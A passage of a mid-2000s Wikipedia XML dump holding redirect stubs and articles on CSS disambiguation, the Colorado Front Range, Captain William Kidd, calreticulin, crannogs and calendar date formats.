[[Category:American writers|Smith, Cordwainer]]
[[Category:Anglicans|Smith, Cordwainer]]
[[Category:American science fiction writers|Smith, Cordwainer]]

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  <page>
    <title>Commedia del Arte</title>
    <id>7107</id>
    <revision>
      <id>15905190</id>
      <timestamp>2002-06-11T12:38:51Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Commedia dell'arte]]</text>
    </revision>
  </page>
  <page>
    <title>Claude Shannon</title>
    <id>7108</id>
    <revision>
      <id>19695094</id>
      <timestamp>2005-07-27T05:46:12Z</timestamp>
      <contributor>
        <username>CYD</username>
        <id>45</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Claude Elwood Shannon]]</text>
    </revision>
  </page>
  <page>
    <title>Cascading style sheet</title>
    <id>7109</id>
    <revision>
      <id>15905192</id>
      <timestamp>2003-01-02T14:57:03Z</timestamp>
      <contributor>
        <username>Hirzel</username>
        <id>3205</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Cascading Style Sheets]]</text>
    </revision>
  </page>
  <page>
    <title>CSS</title>
    <id>7110</id>
    <revision>
      <id>41902051</id>
      <timestamp>2006-03-02T14:11:24Z</timestamp>
      <contributor>
        <username>Can't sleep, clown will eat me</username>
        <id>603177</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/195.195.47.18|195.195.47.18]] to last version by Zpb52</comment>
      <text xml:space="preserve">'''CSS''' may refer to:

In computing:
*[[Cascading Style Sheets]], used to format [[SGML]] and [[XML]]-based documents
*[[Closed source]] software
*[[Content-scrambling system]], an [[encryption algorithm]] in [[DVD]]s
*[[Core System Software]]
*[[Cross site scripting]]
*[[Calderbank-Shor-Steane]] codes, class of [[quantum error correction]] codes
*Central Structure Store in the [[PHIGS#Technical details |PHIGS]] 3D API
*Cluster Synchronization Services in [[Oracle database]] management
*[[Curvature Scale Space]], a method of extracting shapes in images

Other:
*[[CSS Profile]], a U.S. student aid application form
*[[Central Security Service]] of the U.S. government 
*[[Catalina Sky Survey]]
*[[Central Superior Services of Pakistan]]
*[[Chow Sang Sang]]
*[[Closed Shell Syndrome]], a fictional disease
*[[Counter-Strike: Source]], a mod of the Half-Life 2 computer game
*Chicago South Shore and South Bend Railroad, former name of the [[South Shore Line (NICTD)]]
*[[Comcast/Charter Sports Southeast]], a regional sports [[cable television]] network in the [[Southern United States]] co-owned by [[Comcast]] and [[Charter Communications]] who share the &quot;C&quot; depending on the subscriber's cable provider.
*Confederate States Ship, of the [[Confederate States Navy]]
*County Surveyors Society, UK
*College of Social Studies, [[Wesleyan University]]


{{TLAdisambig}}

[[de:CSS]]
[[ja:CSS]]
[[pl:CSS]]
[[th:CSS]]</text>
    </revision>
  </page>
  <page>
    <title>Commedia dell Arte</title>
    <id>7111</id>
    <revision>
      <id>15905194</id>
      <timestamp>2004-04-14T06:26:37Z</timestamp>
      <contributor>
        <username>Jeffq</username>
        <id>23204</id>
      </contributor>
      <comment>Reverted because my &quot;fix&quot; didn't work, either.</comment>
      <text xml:space="preserve">#REDIRECT [[Commedia dell'arte]]</text>
    </revision>
  </page>
  <page>
    <title>Colorado Front Range</title>
    <id>7112</id>
    <revision>
      <id>30004372</id>
      <timestamp>2005-12-03T10:11:16Z</timestamp>
      <contributor>
        <username>MattWright</username>
        <id>277326</id>
      </contributor>
      <minor />
      <comment>+link</comment>
      <text xml:space="preserve">The '''Colorado Front Range''' is a colloquial geographic term for the populated areas of the state of [[Colorado]] in the [[United States]] which are just east of the [[foothills]] of the [[Front Range]], from which the region takes its name. The region contains the largest cities and the majority of the population of Colorado, aligned in a north-south configuration on the western edge of the [[Great Plains]], where they meet the Rockies. [[Geology|Geologically]], the region lies mostly within the [[Colorado Piedmont]], in the valley of the [[South Platte River|South Platte]] and [[Arkansas River|Arkansas]] rivers on the east side of the Rockies.

The Colorado Front Range communities include (in a roughly north-to-south order):

* [[Fort Collins, Colorado|Fort Collins]]
* [[Greeley, Colorado|Greeley]]
* [[Loveland, Colorado|Loveland]]
* [[Longmont, Colorado|Longmont]]
* [[Boulder, Colorado|Boulder]]
* [[Denver, Colorado|Denver]] and suburbs
* [[Castle Rock, Colorado|Castle Rock]]
* [[Colorado Springs, Colorado|Colorado Springs]]
* [[Pueblo, Colorado|Pueblo]]

{{Colorado}}

[[Category:Geography of Colorado]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Complete list of language wikis available</title>
    <id>7113</id>
    <revision>
      <id>20182886</id>
      <timestamp>2005-08-03T11:21:24Z</timestamp>
      <contributor>
        <username>RuM</username>
        <id>191732</id>
      </contributor>
      <minor />
      <comment>avoid double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[meta:List of Wikipedias]]</text>
    </revision>
  </page>
  <page>
    <title>Channel Isles</title>
    <id>7114</id>
    <revision>
      <id>15905197</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Channel_Islands]]
</text>
    </revision>
  </page>
  <page>
    <title>Churnsike Lodge</title>
    <id>7118</id>
    <revision>
      <id>18021034</id>
      <timestamp>2005-07-02T17:25:05Z</timestamp>
      <contributor>
        <username>Kjlewis</username>
        <id>268232</id>
      </contributor>
      <minor />
      <comment>[[Category:Buildings and structures in Northumberland]]</comment>
      <text xml:space="preserve">'''Churnsike Lodge''' ({{gbmapping|NY664771}}) was an early [[Victorian era|Victorian]] [[hunting lodge]] situated in West [[Northumberland]], [[England]], near 
[[Gilsland]] and [[Greenhead]]. It was built in [[1850]].


{{UK-struct-stub}}


[[Category:Buildings and structures in Northumberland]]</text>
    </revision>
  </page>
  <page>
    <title>William Kidd</title>
    <id>7119</id>
    <revision>
      <id>42062727</id>
      <timestamp>2006-03-03T15:27:44Z</timestamp>
      <contributor>
        <ip>64.193.88.4</ip>
      </contributor>
      <comment>/* Early life and career */</comment>
      <text xml:space="preserve">[[Image:Captain Kidd (Pyle painting).gif|thumb|right|[[Howard Pyle]]'s painting of Kidd and his ship, the [[Adventure Galley]], in a [[New York City]] harbor.]]
'''William''' &quot;'''Captain'''&quot; '''Kidd''' ([[January 22]], [[1654]] &amp;ndash; [[May 23]], [[1701]]) is often remembered in [[infamy]] as a [[cruel]], bloody [[pirate]]. Indeed, he, along with his crew, has been accused of every crime in pirate history by popular tradition. He achieved perhaps more fame in [[song]], [[story]], and [[legend]] than any other pirate to sail the [[seven seas]]. However, historical record calls this characterization into question. It is more likely that Kidd earned his reputation through circumstance and did not consider himself to even be a pirate.

==Early life and career==

Kidd was born into a reputable family in [[Greenock]], [[Scotland]]. However after the death of his father when he was five, Kidd's family's income was severely reduced. As a young man he chose to head out to sea, and bounced around freely from ship to ship for three decades. After war broke out between England and France, he  showed courage, patriotism, and a bit of lucky timing in winning a French ship and saving English troops from destruction. With his newfound prestige, he finally settled in [[New York]] in [[1691]], at the age of thirty-seven. There he [[married]] the 20-year-old twice widow, Sarah Bradley Cox Oort. They had two daughters: Elizabeth and Sarah Kidd. The marriage eventually brought to Kidd a considerable amount of property (after the legal dispute around her inheritance from her first husband was resolved.) During this time Kidd was respected as an honest, hard-working ship [[captain]]. He befriended many prominent [[colonial]] citizens, including three [[governor]]s. 

Later that year, on orders from the province of New York, [[Massachusetts]], he captured an enemy [[privateer]] on the [[New England]] coast. Shortly thereafter, Kidd was awarded [[£]]150 for successful privateering in the [[Caribbean]]. One year later, [[Robert Culliford|&quot;Captain&quot; Culliford]], a [[notorious]] pirate, stole Kidd's ship while he was ashore at [[Antigua]] in the [[West Indies]]. In [[1695]], [[William III of England]] replaced the [[corrupt]] governor [[Benjamin Fletcher]], known for accepting [[bribe]]s of one hundred dollars to allow [[illegal]] trading of pirate [[loot]], with [[Richard Coote]], Earl of Bellomont.

==Preparing his expedition==

On [[December 11]] that same year, Coote, who was now governing New York, Massachusetts, and [[New Hampshire]], asked the ''&quot;trusty and well beloved Captain Kidd&quot;'' {{an|2}} to attack [[Thomas Tew]], [[John Ireland]], [[Thomas Wake]], [[William Maze]], and all others who associated themselves with pirates, along with any enemy [[France|French]]  ships. This preceded the [[voyage]] which established his reputation as a pirate, and cemented his image in history and [[folklore]]. 

Four-fifths of the cost for the venture was paid for by noble lords, who were amongst the most powerful men in England; the [[Edward Russell, 1st Earl of Orford|Earl of Orford]], The Baron of Romney, the [[Charles Talbot, 1st Duke of Shrewsbury|Duke of Shrewsbury]] and [[John Somers, 1st Baron Somers|Sir John Somers]]. According to Henry Gilbert writing in ''The Book of Pirates'', Kidd's backers were rumored to include King William himself. In fact, according to a time-honored practice, the King would receive a tenth share of everything captured. Kidd and an acquaintance, Colonel [[Robert Livingston the Elder|Robert Livingston]] paid for the rest. Kidd had to sell his ship the ''Antigua'' to raise funds.

The new ship, the ''[[Adventure Galley]]'', was well suited to the task of catching pirates; weighing over 284 [[tonnage|tons]], it was equipped with 34 [[cannon]]s, [[oar]]s, and 150 [[men]]. The oars were a key advantage as it would enable him to maneuver in a [[battle]] when the [[wind]]s had calmed and other ships were floating free. Kidd took pride in personally selecting the crew, choosing only those he deemed to be the best and most [[loyalty|loyal]] [[officer (armed forces)|officers]]. Unfortunately, soon after setting sail he was stopped by the [[HMS Duchess]], whose captain enlisted much of Kidd's crew for service in the [[navy]], despite rampant [[protest]]ing. To make up for the lack of officers, Kidd was sent replacement crew, the vast majority of which consisted of known hardened [[criminal]]s, undoubtedly some of which had been former pirates.

==Hunting for pirates==

In [[September]] of [[1696]], Kidd finally set sail again. However, more [[bad luck]] struck and a third of his crew soon perished due to the uncontrolled spread of [[cholera]]. To make matters worse, the brand-new ship developed many leaks. According to Gilbert, after taking a single French ship (which was legal under his commission) on the first leg of his voyage, he proceeded eastward to [[Madagascar]] but was not able to find pirates to take in that vicinity. Kidd then sailed to the [[Malabar|Malabar Coast]]. During this time Kidd never attacked a single richly-laden [[India]]n ship that passed before him, and probably was not yet pirate at the time. However, as it became obvious his ambitious enterprise was failing he became understandably desperate to cover its costs. But, once again, Kidd failed to attack several ships when given a chance, including a Dutchman and New York privateer. Some of the crew now deserted Kidd the next time the Adventure Galley anchored offshore, and those who decided to stay behind made constant [[threat|open-threats]] of [[mutiny]].

On [[October 30]], [[1697]], as William Moore, the ships [[gunner]] and strong follower of the mutinous crew, was sharpening a [[chisel]] on the deck, he saw Kidd walk by and furiously shouted ''“You have brought us to ruin and we are desolate! I could have put you in the way of taking that ship [the Dutchman] and be none the worse for it!”'' {{an|3}} After an exchange of strong words, Kidd snatched up and heaved an ironbound bucket at Moore. Moore fell to the deck of a [[Skull fracture|fractured skull]], and died the following day.

== Turning pirate==

Finally, under pressure from his men, and perhaps in [[shock]] over what he had done, Kidd finally made the [[fatal]] decision of turning pirate. He started taking any vessels which were not English. So the [[Netherlands|Dutch]], [[Moorish]], Indian, [[Portugal|Portuguese]] and French were not safe from the onslaught. As the voyage progressed Kidd’s actions became increasingly more like those of a pirate than an agent of the English King. Acts of [[savagery]] on Kidd’s part were reported by escaped [[prison|prisoner]]s, who told of being hoisted up by the arms and drubbed with a [[naked]] [[cutlass]].

On [[January 30]], [[1698]] he raised French [[colors]] and took his greatest [[prize]], an [[Armenian]] beast of a ship, the 400 tons ''Quedagh Merchant'', which was loaded with [[satin]]s, [[muslin]]s, [[gold]], [[silver]], an incredible variety of [[East Indian]] [[merchandise]], as well as extremely valuable [[silk]]s. The captain of the Quedagh Merchant was an [[Englishman]] named Wright, who was sailing under the promised protection of the French government. However, after realizing the captain of the taken vessel was an Englishman, Kidd tried to persuade his crew to return the ship to its owners but they refused. Thus, Kidd changed his focus and took his prize claiming it was legal prey for an English privateer. Unfortunately, when news of the deed reached England, along with horrifying tales of [[torture]], the [[British East India Company]] declared Kidd a pirate. Various naval commanders were ordered to “''pursue and seize the said Kidd and his accomplices”'' for the ''“notorious piracies”'' {{an|4}} they had committed.

On [[April 1]], [[1698]] Kidd reached [[Madagascar]]. Here Kidd found the first pirate of his voyage, [[Robert Culliford]], (the same man who had stolen Kidd’s ship years before) and his crew sailing the ''Mocha Frigate''. Kidd ordered his men to capture the ''Mocha Frigate''. Instead his men mutinied and joined the pirates of the ''Mocha Frigate''. Only 13 of Kidd’s men remained loyal to him.

Deciding to return home, Kidd left the ''Adventure Galley'' behind ordering her to be burnt because she had become worm-eaten and leaky. By burning the ship, he was able to salvage every last scrap of metal, for example hinges. With the loyal remnant of his crew, he returned home in the captured ''Quedagh Merchant'', renamed ''Adventure Prize''.

== Trial==

When Kidd returned to New York City, he learned that he was a wanted pirate, and that several English [[men-of-war]] were searching for him.  The governor (an investor) was away in [[Boston]], Massachusetts. With the help of his [[lawyer]], he [[Negotiation|negotiated]] with the governor in Boston and eventually agreed to come in to town.  Regardless, he was [[arrested]] with his crew and placed in [[Stone Prison]], spending most of the time in [[solitary confinement]].

He was eventually (after over a year) sent to England to stand [[Trial (law)|trial]], and on [[May 8]] he was tried by [[Admiralty court|High Court of Admirality]] in London for the charges of piracy on high seas and the [[murder]] of William Moore. Whilst awaiting trial, Kidd was imprisoned in the infamous [[Newgate Prison]] and wrote several letters to the joint sovereigns, [[William III of England]] and [[Mary II of England]], demanding [[clemency]].

He stood trial without representation and was shocked to learn at trial that he was charged with Murder. He was found [[guilty]] on all charges (murder and five counts of piracy) and was [[hanging|hanged]] on [[May 23]], [[1701]] at '[[Execution Dock]]', [[Wapping]], in [[London]]. During the [[Execution (legal)|execution]], the hangman's rope broke and Kidd was hanged on the second attempt. His body was ''[[gibbet]]ed'' &amp;mdash; left to hang in an iron cage over the [[River Thames]], London, as a [[warning]] to [[future]] would-be pirates for two years.  All his associates except his slaves were also convicted and hanged.

Kidd's [[Whig]] backers were [[embarrassed]] by his trial. Gilbert indicates that they participated in the effort to convict him by depriving him of the money and information which might have provided him with some legal defense.  In particular, his two sets of papers that showed that the two ships he had taken were French, were missing at his trial.  These French papers (and others dated [[1700]]) resurfaced in the early [[20th century]], misfiled with other government papers in a [[London]] building. These papers call the extent of Kidd's guilt into question.

==Mythology and legend==
The belief that Kidd left a buried [[treasure]] somewhere contributed considerably to the growth of his legend.  This belief made its contribution to [[literature]] in [[Edgar Allan Poe]]'s ''[[The Gold Bug]]'' and [[Robert Louis Stevenson]]'s ''[[Treasure Island]]''.  It also gave impetus to the never-ending treasure hunts on [[Oak Island]] in [[Nova Scotia]], in [[Suffolk County]], [[Long Island]] in [[New York]] where [[Gardiner's Island]] is located, [[Charles Island]] in Milford, [[Connecticut]], and in the [[Thimble Islands]] in [[Connecticut]].

Kidd also visited [[Block Island]] around [[1699]], where he was apparently supplied by Mrs. Mercy (Sands) Raymond, daughter of the mariner James Sands.  The story has it that, for her hospitality, she was bid to hold out her apron, into which Kidd threw gold and jewels until it was full.  After her husband Joshua Raymond died, Mrs. Raymond removed with her family to northern [[New London, CT]] (later Montville), where she bought much land.  This Raymond family was thus said to have been &quot;enriched by the apron&quot;.

== Films ==
The legend of Captain Kidd was made into a popular [[1945 in film|1945]] movie, ''[[Captain Kidd (1945 movie)|Captain Kidd]]'' starring [[Charles Laughton]] as Kidd, [[Randolph Scott]], [[Barbara Britton]] and [[John Carradine]].  Laughton reprised his role in the comic ''[[Abbott and Costello|Abbott and Costello Meet Captain Kidd]]'' (1952).

== Music ==
Captain Kidd's legend is also the subject of a traditional English song ''Captain Kidd'' which takes the form of Kidd reminiscing about a rather inaccurate version of his life. One recording of it may be found on the [[Waterson:Carthy]] album ''Fishes and Fine Yellow Sand''. There's also a [[heavy metal]] song based on Kidd's adventures by [[Running Wild (band)]] called ''The Ballad of William Kidd'', released on ''[[The Rivalry]]'' album (1998).

==References==
*  {{anb|1}} Hamilton, Cochran. et al. ''Pirates of the Spanish Main, 1st Edition'', American Heritage Publishing Co., Inc., New York, 1961. [http://catalog.loc.gov/cgi-bin/Pwebrecon.cgi?DB=local&amp;PAGE=First LCCN 61010676]
*Gilbert, H. (1986). ''The Book of Pirates''. London: Bracken Books.
*Zacks, Richard (2002). ''The Pirate Hunter : The True Story of Captain Kidd''. Hyperion Books (ISBN 0786884517).

==See also==
*[[Gardiners Island]]
*[http://www.liquidtravel.org/show.php?TopicID=17&amp;ItemID=73 In Search of Captain Kidd's Adventure Galley] Captain Kidd in Madagascar
*[http://www.bio.umass.edu/biology/conn.river/kidd.html Captain Kidd] Pirate's Treasure Buried in the Connecticut River
[[Category:1645 births|Kidd, William]]
[[Category:1701 deaths|Kidd, William]]
[[Category:Disputed convictions|Kidd, William]]
[[Category:Executed murderers|Kidd, William]]
[[Category:Natives of Inverclyde|Kidd, William]]
[[Category:British pirates|Kidd, William]]

[[de:William Kidd]]
[[ja:&amp;#12454;&amp;#12451;&amp;#12522;&amp;#12450;&amp;#12512;&amp;#12539;&amp;#12461;&amp;#12483;&amp;#12489;]]
[[fr:William Kidd]]
[[nl:William Kidd]]
[[pt:William Kidd]]
[[fi:Kapteeni Kidd]]
[[sv:Kapten Kidd]]</text>
    </revision>
  </page>
  <page>
    <title>Calreticulin</title>
    <id>7120</id>
    <revision>
      <id>37831266</id>
      <timestamp>2006-02-02T11:35:04Z</timestamp>
      <contributor>
        <username>Zargulon</username>
        <id>359432</id>
      </contributor>
      <text xml:space="preserve">'''Calreticulin''' is a [[protein]] that binds [[calcium|Ca&lt;sup&gt;2+&lt;/sup&gt;]] [[ion]]s (a [[second messenger]] [[molecule]] in [[signal transduction]]), rendering it inactive. The Ca&lt;sup&gt;2+&lt;/sup&gt; is bound with low [[Chemical affinity|affinity]], but high [[capacity]], and can be released on a signal (see [[inositol triphosphate]]). Calreticulin is located in storage compartments associated with the [[endoplasmic reticulum]].

Calreticulin is also known as calregulin, CRP55, CaBP3, calsequestrin-like protein and Ro/SS-A antigen.

[[Category:Biochemistry]]
[[Category:immunology]]
[[Category:Proteins]]


{{biochem-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Crannog</title>
    <id>7122</id>
    <revision>
      <id>40554790</id>
      <timestamp>2006-02-21T11:23:04Z</timestamp>
      <contributor>
        <ip>84.19.249.114</ip>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">[[Image:Loch Tay Crannog.jpg|thumb|200px|Reconstructed crannog on Loch Tay]]

A '''crannog''' (also '''crannóg''' or '''crannoge''') is the name given in [[Scotland]] and [[Ireland]] to an [[artificial island]] or [[island|natural island]], used for a settlement. The name can also be used to refer to wooden platforms erected on shallow [[loch]] floors, although understandably few remains of this sort have been found.

The choice of an island as a home is thought to have been for defence as well as the availability of food in the form of [[fish]] nearby. The crannog could be reached from the nearest shore by means of a causeway built up with stones, or else a wooden gangway built atop raised piles. An example of a reconstructed crannog is located at the ''Scottish Crannog Centre'' at [[Loch Tay]], Tayside.

The islet of [[Eilean Domhnuill]], Loch Olabhat on [[North Uist]] may be the earliest crannog, dated to 3200-2800 BC in the [[Neolithic]] period. Most crannogs were in use from the [[Iron Age]] through to the early [[Middle Ages|Medieval]] period, at about the same time as the [[broch|brochs]], the [[wag|wags]], [[dun]]s and the larger [[roundhouse (dwelling)|roundhouses]].

The highest concentrations of crannogs (in Scotland) are found in several lochs within [[Dumfries and Galloway]] region, although many have been found in the [[Scottish Highlands|highlands]] as well.  In the [[Grampian]] Highlands a well known crannog was built by the [[Burnetts of Leys]], whose family thence moved nearby to the present 16th century [[Crathes Castle]].

Reconstructed crannogs are located in [[Craggaunowen]], [[Ireland]]; the [[Irish National Heritage Park]], Wexford, Ireland; and  on [[Loch Tay]] in [[Scotland]].

A variant of the crannog was the island [[dun]], which was a stone fort placed on a small, rocky island in a [[lochan]], or small lake. These were usually reached by means of a causeway built up from the nearest shore. The dun is the [[gaelic]] word for castle, and a number of Scottish castles use 'Dun-' as a prefix.

== Construction ==
The construction of the [[Prehistory|prehistoric]] crannog began on a small island or shoal that was located within a loch or [[marsh]]. This rise was surrounded by a circle of [[oak]] [[Pile|piles]] with axe-sharpened bases that were driven into the bottom, forming a circular enclosure of about 200 ft. in diameter. The piles were then joined together by interlaced branches and [[Wattle and daub|wattle]]. The interior surface was then built up, first with wooden logs, then with branches and rocks, [[clay]], [[peat]], and other earthen materials. At the center a large stone hearth was built with large flat stones, and a wooden home was constructed around it. Sometimes multiple homes were built on a single crannog.

This prehistoric [[fortification]] was occupied by a family or [[tribe]], and access was often achieved by means of dugout canoe. However, many were connected to shore by timber or stone [[Causeway|causeways]], sometimes lying just beneath the surface of the water concealing them from potentially hostile intruders. The bones of [[cattle]], [[deer]], and [[Pig|swine]] have been found in excavated crannogs.

== References ==

* {{cite book
 | last = Burnett | first = George
 | title = The Family of Burnett of Leys
 | editor = J. Allardyce (ed)
 | publisher = New Spalding Club
 | location = Aberdeen
 | year = 1901
 }}
* {{cite book
 | first = Ian | last = Armit
 | title=Scotland's Hidden History
 | publisher=Tempus Publishing, Limited
 | year = 2000
 | id = ISBN 0752414003
 }}
* {{cite book
 | first = Nicholas | last = Dixon
 | title = The Crannogs of Scotland: An underwater archaeology
 | publisher = Tempus Publishing, Limited
 | year = 2004
 | id = ISBN 075243151X
 }}
* Morrison, I. 1985 ''Landscape with Lake Dwellings'' Edinburgh University Press
* Crone, A. 2000 ''The History of a Scottish Lowland Crannog: excavations at Buiston'' AOC/STAR Monograph 4, Edinburgh
* Cavers, M.G. and Henderson, J.C 2005 ''Underwater Excavation at Ederline Crannog, Loch Awe, Argyll, Scotland'' International Journal of Nautical Archaeology, vol.34.2, pp.278-94
* O'Sullivan, A. 1998 ''The Archaeology of Lake Settlement in Ireland'' Discovery Programme, Dublin
* Fredengrem C. 2002 ''Crannogs'' Wordwell, Bray

== External links ==
*[http://www.crannog.co.uk/ The Scottish Crannog Centre] Reconstruction of a crannog.
*[http://www.channel4.com/history/timeteam/snapshot_crannogs.html Channel 4 Time Team on Crannogs] The Channel 4 Time Team on Crannogs.
*[http://www.channel4.com/history/timeteam/2004_migdale.html Channel 4 Time Team at Loch Migdale] The Channel 4 Time Team excavation at Loch Migdale, January 2004.
*[http://www.rcahms.gov.uk Royal Commission on the Ancient and Historical Monuments of Scotland] A searchable database of archaeological sites in Scotland, including crannogs.

[[Category:Fortification]]
[[Category:Irish archaeology]]
[[Category:Scottish archaeology]]
[[Category:Stone Age]]</text>
    </revision>
  </page>
  <page>
    <title>Calendar date</title>
    <id>7123</id>
    <revision>
      <id>42146799</id>
      <timestamp>2006-03-04T03:11:46Z</timestamp>
      <contributor>
        <username>R. S. Shaw</username>
        <id>102175</id>
      </contributor>
      <comment>rv test</comment>
      <text xml:space="preserve">A '''date''' in a calendar is a reference to a particular day by means of a [[calendar]] system.  The calendar date allows the particular day to be identified. A person can often determine how many days a particular date comes after another date. For example, &quot;[[19 February]], [[2003]]&quot;, is ten days after &quot;[[9 February]], [[2003]]&quot;, in the [[Gregorian calendar]].

In most calendar systems, the date consists of three parts: the ''day of month'', ''month'', and the ''year''. There may also be additional parts, such as the ''day of week''. Years are usually counted from a particular starting point, usually called the [[epoch (reference date)|epoch]], with [[era]] referring to the particular period of time. Note the different use in [[geology]].

A date without the year part may also be referred to as a ''date'' or ''calendar date'' (such as &quot;[[9 February]]&quot; rather than &quot;[[9 February]] [[2003]]&quot;). As such, it defines the days of an annual festival, such as a birthday or Christmas on [[25 December]].

==Date format==

Related to the classification of a day as a specific calendar date is the format used to express that date. The differing formats of dates are an example of [[endianness]].

Even for any specific calendar system, different formats are used. For example, the following formats all express the same date in the [[Gregorian calendar]]:

===Little endian forms, starting with the day===

This sequence is common to the vast majority of the world's countries, and is used as the accepted international date usage.

* 16/11/2003, 16.11.2003, 16-11-2003 or 16-11-03
* 16th&amp;nbsp;of November 2003
* 16th&amp;nbsp;November 2003
* 16&amp;nbsp;November 2003
* 16&amp;nbsp;Nov 2003

===Big endian forms, starting with the year===

This form is consistent with the endianness of the western decimal numbering system, progressing from the highest to the lowest order magnitude.

* 2003 November&amp;nbsp;16
* 2003-11-16: the [[ISO 8601]] [[International standard|International formal standard]] ordering for dates, often formatted to be especially easily read and sorted by computers. It's used with [[UTC]] in the '''Internet date/time format''' (see the [[#external links|external link below]]).  This format is also favoured in certain [[Asia|Asian]] countries, mainly the [[East Asia]].

===Middle endian forms, starting with the month===

This sequence is common to a smaller number of countries.

* November&amp;nbsp;16, 2003
* Nov.&amp;nbsp;16, 2003
* 11/16/2003, 11-16-2003, 11.16.2003 or 11.16.03

This order is used in the [[United States]] and countries with U.S. influence (but the U.S. federal government sometimes uses day, month, year). England originally used day, month, year, then for a while used month, day, year, and finally the original form (day, month, year) was revived around 1900. [[Canada]] officially uses the big endian convention, but all three conventions are used in practice.

===Usage issues===

The many numerical forms can create confusion when used in international correspondence, particularly when abbreviating the year to its final two digits.

When numbers are used to represent months, a significant amount of confusion can arise from the ambiguity of a date order; especially when the numbers representing the day, month or year are low, it can be impossible to tell which order is being used.  This can be clarified by using four digits to represent years, and naming the month; for example, &quot;Feb&quot; instead of &quot;02&quot;. Many Internet sites use year/month/day, and those using other conventions often write out the month (9-MAY-2001, MAY 09 2001, etc.) so there is no ambiguity. The [[ISO 8601]] date order, with four-digit years, is specifically chosen to be unambiguous.

The [[ISO 8601]] standard also has the advantage of being language independent and therefore is useful when there may be no language context and a universal application is desired (expiration dating on export products, for example). Another advantage is that a plain text list of dates with this format can be easily sorted by [[Word processor|word processors]], [[spreadsheet|spreadsheets]] and other software tools with built-in sorting functions.

At least in the [[United States]], dates are rarely written in purely numerical forms in formal writing.

Mixed units, for example feet and inches, or pounds and ounces, are normally written with the largest unit first, in decreasing order.  Numbers are also written in that order, so the digits of 2006 indicate, in order, the millennium, the century within the millennium, the decade within the century, and the year within the decade.  The only date order that is consistent with these well established conventions is year-month-day.  

An early U.S. [[Federal Information Processing Standard]] recommended 2-digit years.
This is now widely recognized as a [[year 2000 problem|bad idea]]. Even some U.S. government agencies now use ISO 8601 with 4 digit years [http://www.nyecounty.net/iso8601.html][http://www.iprocessmart.com/techsmart/iso-time.htm].

When transitioning from one date notation to another,
people often write both [[Old Style and New Style dates]].

====d/m/y (day, month, year) is used by:====
* [[Albania]]
* [[Argentina]]
* [[Australia]] 
* [[Austria]]
* [[Belgium]]
* [[Bolivia]]
* [[Brazil]]
* [[Bulgaria]]
* [[Canada]]
* [[Chile]]
* [[Colombia]]
* [[Czech Republic]]
* [[Denmark]] (often in the fraction form &lt;SUP&gt;d&lt;/SUP&gt;/&lt;SUB&gt;m&lt;/SUB&gt;-y)
* [[Dominican Republic]]
* [[Ecuador]]
* [[Estonia]]
* [[Finland]]
* [[France]]
* [[Germany]] (d.m.y)
* [[Greece]]
* [[Guyana]]
* [[Hong Kong]] (in English)
* [[Ireland]]
* [[India]]
* [[Israel]]
* [[Italy]]
* [[Lithuania]]
* [[Mexico]]
* [[Netherlands]]
* [[New Zealand]]
* [[Norway]] (d.m.y; the fraction form &lt;SUP&gt;d&lt;/SUP&gt;/&lt;SUB&gt;m&lt;/SUB&gt;-y is common, but incorrect)
* [[Paraguay]]
* [[Peru]]
* [[Poland]]
* [[Portugal]]
* [[Romania]]
* [[Russia]]
* [[Slovakia]]
* [[Slovenia]]
* [[Spain]]
* [[Singapore]]
* [[Sweden]] (in the fraction form &lt;SUP&gt;d&lt;/SUP&gt;/&lt;SUB&gt;m&lt;/SUB&gt;-y, otherwise yyyy-mm-dd)
* [[Switzerland]]
* [[Thailand]] (with [[Thai solar calendar|Buddhist Era]] instead of [[Common Era]])
* [[Turkey]]
* [[Ukraine]]
* [[United Kingdom]]
* [[Uruguay]]
* [[Venezuela]]
Although '9/11' refers to [[Berlin_Wall#The_fall_of_the_Wall|'The fall of the Berlin Wall']] on [[9 November]] [[1989]], '9/11' and sometimes '11/9' is also used to refer to the [[11 September]] [[2001]] [[September 11, 2001 attacks|attacks on the World Trade Centre]] in the USA.

====yyyy-mm-dd (year, month, day), the [[ISO 8601]] [[standardization|standard]], is used by:====
* [[Canada]] (yyyy-mm-dd) (All 3 main types are used in Canada- in French and in English)
* [[China]]
* [[Hong Kong]] (Chinese)
* [[Hungary]] (yyyy.mm.dd)
* [[Japan]] (but often in the form yyyy年mm月dd日, or as yy年mm月dd日 when using [[Japanese era name|Japanese era year]])
* [[Korea]]
* [[Latvia]]
* [[Norway]] (yyyy-mm-dd)
* [[South Africa]] (English)
* [[Sweden]] (yyyy-mm-dd or yyyy.mm.dd)
* [[Taiwan]]

It is often used in scientific, technical or international communication.

====yyyy-mmm-dd====
*[[Canada]] (as in 2006-JAN-01)

====m/d/y (month, day, year) is used by:====
* [[Canada]] (Although most official documents use the y-m-d format, the m/d/y format is also understood due to influences from the United States. However, m/d/y is not an official format in Canadian English and its use should be avoided where possible.) 
* [[United States]] (Although [[Independence Day (United States)|Independence Day]] is often referred to as &quot;the Fourth of July.&quot;)

===Day and year only===

The U.S. military sometimes uses a system that indicates the year and day, but not the month. For example, &quot;[[10 December]] [[1999]]&quot; can be written in some contexts as &quot;9345&quot;, for the 345th day of 1999. This system is most often used on forms.

:''See also'': [[calendar]], [[time]], [[date-time group]], [[Japanese calendar]], [[Wikibooks:English:Time]]

===Week number used===
Companies in Europe often use year, week number and day, for planning purposes.
Since week is a fundamental unit for working life, it makes sense.
An event in a project can happen for example w43, w0543 or w543 (week 43 year 2005) or even w43-1 (Monday week 43 year 2005). One problem is that week numbering have different standards, for example [[ISO 8601]], not used by the [[USA]].

==External links==

* [[IETF]]:[http://www.ietf.org/rfc/rfc3339.txt RFC 3339], [http://www.w3.org/TR/NOTE-datetime W3C Date and Time Formats], [[Internet date/time format]].
* [http://www.hermetic.ch/cal_stud/formats.htm The ISO 8601 Date Format]
